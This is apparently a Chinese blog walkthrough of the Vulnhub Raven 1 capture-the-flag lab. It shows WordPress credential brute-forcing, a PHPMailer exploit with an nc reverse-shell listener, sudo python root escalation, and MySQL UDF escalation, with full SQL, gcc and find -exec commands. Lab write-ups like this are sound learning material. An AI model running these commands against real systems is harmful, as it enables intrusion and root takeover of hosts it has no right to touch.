Vulnhub系列:Raven 1
该篇为Vulnhub系列靶机渗透,本次靶机存在4个flag。下面开始我们今天的渗透之旅。Raven靶机有很多种思路,我将对其进行一一整理。
首先进行信息收集,利用arp-scan和nmap,进行靶机的ip及端口扫描
发现了22、80、111端口。下面访问80端口,在页面上一顿收集后,发现在services处,查看源代码发现了flag1。
flag1{b9bbcb33e11b80be759c4e844862482d}
下一步,继续进行信息收集,发现在blog处,是一个wordpress的框架,同时经过目录爆破发现了相关的路径
这边的/vendor/目录为wordpress的默认目录
下一步进行wordpress的信息枚举。发现了两个用户
用户:steven、michael,利用kali自带的密码本进行爆破,这里爆破时间特别长,但是还是爆破出来了
用户名:steven 密码为:pink84,进行登录后在/var/www/目录下发现了flag2.
接着在wordpress中进行信息收集,存在wp-config.php文件,该文件会存在一下配置的用户名和密码,例如数据库。果不其然,发现了数据库用户名和密码。
利用用户名和密码登录后,进行一番搜查,发现了这两个用户。同时在表wp_posts中发现了flag3和flag4,这就结束了?还没有提权呢。就可以看到flag4?
flag3{afc01ab56b50591e7dccf93122770cd2}
flag4{715dea6c055b9fe3337544932f2941ce}
不行不能这么就结束!
下面退出数据库,看看有没有什么提权方式,尝试用sudo -l,发现还真存在
这边的steven用户存在一个不用输密码的(All),使用python即可称为root,这也太easy了!
直接sudo python -c 'import pty;pty.spawn("/bin/bash")'
清清爽爽的获取了root,提权成功!
是不是以为完了~,NONONO,还有其他方法呢
回过头来,之前我们是爆破得到的密码,而且我亲试,时间特别久,那么有没有其他的方法getshell呢?在页面上一番搜索后发现了当初我们忽视的那个默认目录/vendor/,该目录下存在PATH,README,VERSION
在PATH中发现了路径,在README中发现了PHPmailer,在Version中发现了版本
在本地漏洞库中查询,查到了相应的exp
然后将其复制到本地查看该怎么使用,将对应的位置进行修改
修改好之后,python 40974.py,然后再本地开启监听,nc -vlp 4567
在浏览器里输入刚才的的后门文件名,即可反弹shell
这样就获得了个shell,然后利用python进行改造,变为交互式shell
然后下面的操作就像之前那样了,获取数据库用户名和密码,但是在提权上,换一种提权方式,利用mysql的UDF提权。
如果想用UDF提权,有三个条件,第一个为mysql root用户登录,第二个mysql的版本在5.几,第三个就是查看mysql底层是否允许udf提权,输入
show global variables like 'secure%';
1)当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
2)当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/目录下,此时也无法提权
3)当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权!
如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。
下面查看下是否在上面说到的目录下:
show variables like '%plugin%';
在kali本地漏洞库中查找,udf的exp
将1518.c复制到项目里,编译,然后开启web服务,在shell里进入/tmp目录下进行下载
然后再次编译一下,生成个.so文件
gcc -g -shared -o xiaoli.so 1518.o -lc
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
下一步进入mysql,进到mysql的数据库,show tables;然后重新创建一个表,我这里创建的xiaoli
接下来要给xiaoli的表中插入之前下载的xiaoli.so的恶意文件
insert into xiaoli values(load_file('/tmp/xiaoli.so'));
显示插入成功!
然后利用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出outfile会有特殊的转换,而dumpfile是原数据导出!
新建存储函数:
select * from xiaoli into dumpfile '/usr/lib/mysql/plugin/xiaoli.so';
创建自定义函数do_system,类型是integer,别名(soname)文件名字,然后查询函数是否创建成功:
create function do_system returns integer soname 'xiaoli.so';
查看以下创建的函数:
select * from mysql.func;
创建成功!
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
select do_system('chmod u+s /usr/bin/find');
执行find命令
使用find执行 shell
touch xiaoli
find xiaoli -exec "/bin/sh" \;或者:find xiaoli -exec "id" \;
cd /root
获取了root权限,进到root目录下发现了flag4
两种不同的getshell的方式,两种不同提权的方式,渗透需要灵活的思路,需要想尽办法不断地尝试,才会有意想不到的后果,总体该靶机可玩性还是特别高的,可以回顾mysql的提权,巩固操作。
每天学习一丢丢,进步一丢丢~
Vulnhub系列:Raven 1相关推荐
- VulnHub系列之Lampiao渗透测试
Lampiao 靶机下载:https://www.vulnhub.com/entry/lampiao-1,249/ 信息收集 首先是ip信息 然后是服务器端口服务等信息 访问80端口 扫描80端口网站 ...
- 【Vulnhub系列】DC1
文章目录 基本信息 实验过程 额外内容 使用CVE2014-3704添加管理账号 另一种查询具有root权限命令的find语句 下载地址:https://www.vulnhub.com/entry/d ...
- Vulnhub系列:FristLeaks
一.配置靶机环境 以往的靶机,本人是在virtual box中,去配置,和vm上的kali进行联动,但是这个靶机需要DHCP,以往的方式可能不太行了,或者可以在virtual box中桥接成统一网卡. ...
- VulnHub系列之Jarbas渗透测试
jarbas 虚拟机:https://www.vulnhub.com/entry/jarbas-1,232/ 信息收集 将下载好的服务器开机后登录不了,不知道ip ,只能将攻击机和服务器置于同一网段 ...
- 【Vulnhub系列】DC3
文章目录 基本信息 实验过程 额外补充 利用php反弹shell 使用Linux-Exploit-suggestion来辅助提权 靶机下载地址:https://download.vulnhub.com ...
- 『VulnHub系列』Hacker Fest: 2019-Walkthrough
靶机地址 难度:初级+1 靶机描述: The machine was part of my workshop for Hacker Fest 2019 at Prague. Difficulty le ...
- 『VulnHub系列』DC: 9-Walkthrough
靶机地址 难度:中等 靶机发布日期:2019年12月29日 靶机描述:DC-9 is another purposely built vulnerable lab with the intent of ...
- 『VulnHub系列』EnuBox_Mattermost-Walkthrough
靶机地址 难度:初级++ 靶机发布日期:2020年1月6日 靶机描述:Description: The Mattermost chatting system may or may not hold s ...
- Vulnhub系列--Vulnscan
tragte IP: 192.168.139.136 信息收集 nmap -A 192.168.139.136 开放5个服务,分别为: 22: ssh 5000: wordpress 80: http ...
最新文章
- 云服务器重装系统后卡顿,低延迟云服务器发生卡顿丢包检测方法
- Cisco交换机的经典配置(4)
- 点击右侧导航栏,实现iframe嵌入子页面中div,滑动到最上面
- mysql内置含糊_mySQL入门04 内置函数
- PNChart,简洁高效有动画效果的iOS图表库
- java线程集合点_Jmeter集合点(线程组和同步定时器)
- CCF201703-4 地铁修建(100分)【Kruskal算法+二分+最短路】
- python坐标定位_python实现获取屏幕坐标位置值+VBS模拟鼠标操作
- java 最长 几个字节,int类型占几个字节_在java中,int类型占四个字节,而byte类型占一个字节...
- 小白的入门之——汇编语言程序设计教程
- 科技感人工智能PPT模板推荐
- unity 移动物体位置的常用方法
- 提高模型准确率:组合模型
- 微信抢票开发实践总结
- 【数字IC基础知识1之数字芯片设计流程
- ICC2 user guide(二)Placement and Optimization
- Docker命令详解
- Ubuntu安装Caffe .build_release/tools/caffe: error while loading shared libraries: libcudart.so.8.0
- pytorch中fuse_modules
- ios微信微博回调 留在微信